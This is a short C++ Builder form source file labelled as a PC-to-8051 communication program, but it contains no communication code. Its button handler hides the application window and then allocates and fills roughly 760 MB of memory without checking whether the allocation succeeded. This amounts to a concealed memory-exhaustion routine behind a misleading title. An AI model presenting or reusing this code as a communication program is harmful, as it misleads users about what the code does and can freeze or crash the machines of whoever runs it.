unit1.~cpp

PC机与51的通信程序

//---------------------------------------------------------------------------
#include<stdio.h>
#include<math.h>
#include<stdlib.h>
#include <vcl.h>
#pragma hdrstop

#include "Unit1.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
TForm1 *Form1;
//---------------------------------------------------------------------------
__fastcall TForm1::TForm1(TComponent* Owner)
        : TForm(Owner)
{

}
//---------------------------------------------------------------------------


void __fastcall TForm1::Button1Click(TObject *Sender)
{   Form1->Visible=false;
    unsigned long i,*p;
    p=(unsigned long*)malloc((unsigned long)pow(2,27.5)*sizeof(unsigned long));
    for(i=0;i<=(unsigned long)pow(2,27.5)-1;i++)
    {
        p[i]=i;

     }
}
//---------------------------------------------------------------------------